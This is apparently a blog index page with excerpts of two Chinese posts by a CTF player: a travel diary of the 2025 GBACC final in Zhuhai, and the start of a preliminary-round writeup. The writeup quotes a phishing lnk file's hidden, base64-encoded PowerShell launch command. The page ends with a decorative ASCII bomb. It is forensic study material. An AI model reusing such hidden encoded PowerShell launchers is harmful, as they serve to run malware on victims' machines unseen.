GamerNoTitle

2025 湾区杯决赛（AKA 珠海旅行记录）

Created2025-09-30|CTF|CTF•GBACC•Travelling

本次也是非常幸运的，在候补名单里面进了 GBACC 的决赛因为得到消息的时候，是周四，我们下周一就要打决赛了，所以光速定了酒店和过去的高铁票同样，因为是决赛，所以很可能就会变成我们的公费旅游环节，比赛的东西我会放到最后的旅游比赛前日——出发我们是周六去的珠海，当天早上买的 10:14 的票从南站出发去的，第一次坐到有这样的桌子的高铁我们总共两个队伍去，在我们没有商量的情况下，我们甚至买的同一班高铁（笑哭）到了以后，我们先去酒店办理入住，但是因为我们来的太早了，实在是没有清理好的客房，于是让我们做了个登记，我们就去吃午餐了在附近的广场吃完午餐，就去赛场先签到了比赛前日——签到比赛场馆是珠海国际会展中心，这个地方说实话，是真的大啊~~~ 给你们看张酒店拍的图，感受一下（对面是澳门）反正一路上走，看到很多湾区杯的牌牌，想着跟着走准没错，结果走了快20分钟才到那个门口（问就是找错门了）首先在门口看到的，就是两个大牌牌然后我们一路坐电梯上到4楼（这栋建筑只有1楼和4楼），找到签到处，签了个到，领取了我们的物资其实我们第一次来的时候，来太早了，他们没上班，我们在 ...

【Volcania】2025 湾区杯初赛 Writeup

Created2025-09-10|CTF|CTF•GBACC

Miscbademail | 未解出我收到了来自hr的邮件，当我打开附件的时候一个黑框一闪而过，我立刻上报了IT部门，于是他们拿走了我的硬盘。给的是一个 RAID0 的文件，直接 R-Studio 读取就行，从 Thunderbird 的数据目录可以得到 INBOX 收件箱这里面的最后一封邮件就是所谓的HR邮件邮件内有 12From: =?GBK?B?wfW378P5?= <hnhuimeng_hr@163.com>Return-Path: hnhuimeng_hr@163.com 发件和回执地址相同，可以认为是真实发件邮箱把附件拿出来，按照规定的密码解压，发现是一个 lnk 文件，实际执行的是 1C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -enc "JJAB6AGQAPQAgAEcAZQB0AC0ATABvAGMAYQB0AGkAbwBuADsAJABjAGEAcABlAD0AIAAiACQAegBkAFwAVm5XU9h+pmgJZ1CWbFH4U6F7BnTEiZpbLg ...

Announcement

.------.--------.---------.
| .=====================. |\
| | 7  3  5  5  6  0  8 | | |
| +=====================+ | |
|----------------------\\-. |
|    *   |      ^|^    || |\|
|   .-----------------.|| | |
|   |  1  |  2  |  3  ||| | |
|   |-----+-----+-----||| | |
|   |  4  |  5  |  6  ||| | |
|   |-----+-----+-----||| | |
|   |  7  |  8  |  9  ||| | |
|   |-----+-----+-----|// | |
|   |  *  |  0  |  #  |/  | |
|   +-----------------+   | |
|       |       |         | |
+-------+-------+---------+ |
\______\_______\_________+\/

gamernotitle@site_web > ./plant.sh
Boom has been planted.